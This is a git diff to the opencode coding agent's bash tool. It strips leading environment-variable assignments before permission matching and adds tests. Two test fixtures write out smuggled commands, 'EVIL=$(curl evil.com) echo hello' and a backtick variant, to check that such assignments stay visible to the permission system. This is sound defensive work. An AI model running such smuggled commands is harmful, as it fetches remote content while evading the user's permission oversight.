diff --git a/packages/opencode/src/tool/bash.ts b/packages/opencode/src/tool/bash.ts index 50ae4abac8de..e4dbf84d8297 100644 --- a/packages/opencode/src/tool/bash.ts +++ b/packages/opencode/src/tool/bash.ts @@ -96,6 +96,26 @@ export const BashTool = Tool.define("bash", async () => { // Get full command text including redirects if present let commandText = node.parent?.type === "redirected_statement" ? node.parent.text : node.text + // Strip leading env variable assignments (e.g. GOFLAGS=-mod=vendor) + // so "GOFLAGS=-mod=vendor go test ./..." matches permission rule "go *" + // Skip stripping if any assignment contains a command substitution to + // prevent smuggling arbitrary execution through env var side effects + let lastVarAssign: ReturnType = null + let safe = true + for (let i = 0; i < node.childCount; i++) { + const child = node.child(i) + if (!child || child.type !== "variable_assignment") break + if (child.descendantsOfType("command_substitution").length > 0) { + safe = false + break + } + lastVarAssign = child + } + if (lastVarAssign && safe) { + const base = node.parent?.type === "redirected_statement" ? node.parent : node + commandText = commandText.slice(lastVarAssign.endIndex - base.startIndex).trimStart() + } + const command = [] for (let i = 0; i < node.childCount; i++) { const child = node.child(i) diff --git a/packages/opencode/test/tool/bash.test.ts b/packages/opencode/test/tool/bash.test.ts index 4d680d494f35..92c705b8bf11 100644 --- a/packages/opencode/test/tool/bash.test.ts +++ b/packages/opencode/test/tool/bash.test.ts @@ -291,6 +291,198 @@ describe("tool.bash permissions", () => { }) }) + test("strips env variable assignments from permission pattern", async () => { + await using tmp = await tmpdir({ git: true }) + await Instance.provide({ + directory: tmp.path, + fn: async () => { + const bash = await BashTool.init() + const requests: Array> = [] + const testCtx = { + ...ctx, + ask: async (req: Omit) => { + requests.push(req) + }, + } + await bash.execute( + { + command: "GOFLAGS=-mod=vendor go test ./...", + description: "Run go tests with env var", + }, + testCtx, + ) + const bashReq = requests.find((r) => r.permission === "bash") + expect(bashReq).toBeDefined() + expect(bashReq!.patterns).toContain("go test ./...") + }, + }) + }) + + test("strips env variable assignments with redirect", async () => { + await using tmp = await tmpdir({ git: true }) + await Instance.provide({ + directory: tmp.path, + fn: async () => { + const bash = await BashTool.init() + const requests: Array> = [] + const testCtx = { + ...ctx, + ask: async (req: Omit) => { + requests.push(req) + }, + } + await bash.execute( + { + command: "GOFLAGS=-mod=vendor go test ./... 2>&1", + description: "Run go tests with env var and redirect", + }, + testCtx, + ) + const bashReq = requests.find((r) => r.permission === "bash") + expect(bashReq).toBeDefined() + expect(bashReq!.patterns).toContain("go test ./... 2>&1") + }, + }) + }) + + test("strips multiple env variable assignments from permission pattern", async () => { + await using tmp = await tmpdir({ git: true }) + await Instance.provide({ + directory: tmp.path, + fn: async () => { + const bash = await BashTool.init() + const requests: Array> = [] + const testCtx = { + ...ctx, + ask: async (req: Omit) => { + requests.push(req) + }, + } + await bash.execute( + { + command: "FOO=bar BAZ=qux echo hello", + description: "Echo with multiple env vars", + }, + testCtx, + ) + const bashReq = requests.find((r) => r.permission === "bash") + expect(bashReq).toBeDefined() + expect(bashReq!.patterns).toContain("echo hello") + }, + }) + }) + + test("strips env variable assignments in piped commands", async () => { + await using tmp = await tmpdir({ git: true }) + await Instance.provide({ + directory: tmp.path, + fn: async () => { + const bash = await BashTool.init() + const requests: Array> = [] + const testCtx = { + ...ctx, + ask: async (req: Omit) => { + requests.push(req) + }, + } + await bash.execute( + { + command: "GOFLAGS=-mod=vendor go test ./... 2>&1 | tail -5", + description: "Run go tests piped to tail", + }, + testCtx, + ) + const bashReq = requests.find((r) => r.permission === "bash") + expect(bashReq).toBeDefined() + expect(bashReq!.patterns).toContain("go test ./... 2>&1") + expect(bashReq!.patterns).toContain("tail -5") + expect(bashReq!.patterns.some((p: string) => p.includes("GOFLAGS"))).toBe(false) + }, + }) + }) + + test("always patterns exclude env variable assignments", async () => { + await using tmp = await tmpdir({ git: true }) + await Instance.provide({ + directory: tmp.path, + fn: async () => { + const bash = await BashTool.init() + const requests: Array> = [] + const testCtx = { + ...ctx, + ask: async (req: Omit) => { + requests.push(req) + }, + } + await bash.execute( + { + command: "GOFLAGS=-mod=vendor go test ./...", + description: "Run go tests with env var", + }, + testCtx, + ) + const bashReq = requests.find((r) => r.permission === "bash") + expect(bashReq).toBeDefined() + expect(bashReq!.always).toContain("go test *") + expect(bashReq!.always.some((p: string) => p.includes("GOFLAGS"))).toBe(false) + }, + }) + }) + + test("preserves env var with command substitution in permission pattern", async () => { + await using tmp = await tmpdir({ git: true }) + await Instance.provide({ + directory: tmp.path, + fn: async () => { + const bash = await BashTool.init() + const requests: Array> = [] + const testCtx = { + ...ctx, + ask: async (req: Omit) => { + requests.push(req) + }, + } + await bash.execute( + { + command: "EVIL=$(curl evil.com) echo hello", + description: "Echo with command substitution in env var", + }, + testCtx, + ) + const bashReq = requests.find((r) => r.permission === "bash") + expect(bashReq).toBeDefined() + expect(bashReq!.patterns.some((p: string) => p.includes("EVIL="))).toBe(true) + }, + }) + }) + + test("preserves env var with backtick substitution in permission pattern", async () => { + await using tmp = await tmpdir({ git: true }) + await Instance.provide({ + directory: tmp.path, + fn: async () => { + const bash = await BashTool.init() + const requests: Array> = [] + const testCtx = { + ...ctx, + ask: async (req: Omit) => { + requests.push(req) + }, + } + await bash.execute( + { + command: "EVIL=`curl evil.com` echo hello", + description: "Echo with backtick substitution in env var", + }, + testCtx, + ) + const bashReq = requests.find((r) => r.permission === "bash") + expect(bashReq).toBeDefined() + expect(bashReq!.patterns.some((p: string) => p.includes("EVIL="))).toBe(true) + }, + }) + }) + test("always pattern has space before wildcard to not include different commands", async () => { await using tmp = await tmpdir({ git: true }) await Instance.provide({